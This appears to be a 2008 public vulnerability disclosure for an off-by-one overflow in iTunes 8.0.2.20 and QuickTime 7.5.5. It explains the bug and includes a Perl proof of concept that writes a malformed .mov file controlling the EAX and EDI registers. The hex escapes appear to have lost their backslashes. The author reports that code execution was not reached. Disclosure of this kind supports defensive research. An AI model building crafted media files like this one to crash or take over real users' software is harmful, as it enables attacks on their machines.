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# Title : Itunes 8.0.2.20/Quicktime 7.5.5 (.mov File) Multiple Off By Overflow PoC
# Published : 2008-11-30
# Author : laurent gaffi??
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Quicktime/Itunes Multiple Remote Off By One Overflow
Application: Itunes 8.0.2.20/Quicktime 7.5.5 (249.26)(-> version 990.7)
Web Site: www.apple.com/
Platform: Windows *, OS X *
Bug: Off by one overflow
Tested agains: Itunes 8.0.2.20/Quicktime 7.5.5 on XP SP3 fully patched
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1) Introduction
2) Bug
3) Proof of concept
4) Credits
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1) Introduction
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"Many of today's leading authoring, multimedia and entertainment applications rely on QuickTime to do the heavy lifting.
QuickTime contains a rich set of developer APIs for handling almost any audio, video and media task.
Easily make your application multimedia-enabled with QuickTime."
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2) Bug
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Quicktime & itunes fails to handle long arguments on a .mov file.
Quicktime is compiled with the /GS cookie on , so the bug get handled with an exit code :
c0000409
but ...
Itunes doesn't seems to be compiled with the /GS flag, so we get some code execution possible via Itunes.
The PoC give's us full control over EAX & EDI
Itunes call unsafely the Quicktime function to play the .mov, so we can trigger a possible code execution
via this unsafe call to quicktime h??h??h?? :)
The only problem, is the lengh of the buffer overflowed :(
erf ... 49 bytes, less the 8 bytes controlling the EDI & EAX registers so 41.
i've tryed to find a way to fill some buffer in the .mov to get some code exec working on this poc,
but out of luck, i guess someone will maybe be able to do some magic tricks :)
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3)Proof of concept
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#!/usr/bin/perl
use strict;
my $movfile =
"x00x00x00x7dx6dx6fx6fx76x00x00x00x75x72x6dx72x61x00x00x00x6d".
"x72x6dx64x61x00x00x00x55x72x64x72x66x00x00x00x00x75x72x6cx20".
"x00x00x00x41x68x74x74x70x3ax2fx2fx31x32x37x2ex30x2ex30x2ex31".
"x2fx74x65x73x74x2ex6dx6fx76x00x00x00x00x10x72x6dx64x72x00x00".
"x00x00x00x00x05x78".
"x41x42x43x44". #EDI here
"x61x62x63x64". #EAX here
"x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41x44x44x44x44x41x41x43x43".
"x43x41x41x41x42x41x41x41x41x41x41x41x41x41x41";
open(out, "> test.mov");
binmode(out);
print (out $movfile);
close(out);
//if you build this same payload , with a couple of bytes before theses null bytes you will trigger the same bug but in a different way ...
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5)Credits
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laurent gaffi??
laurent.gaffie{remove_this}[at]gmail[dot]com
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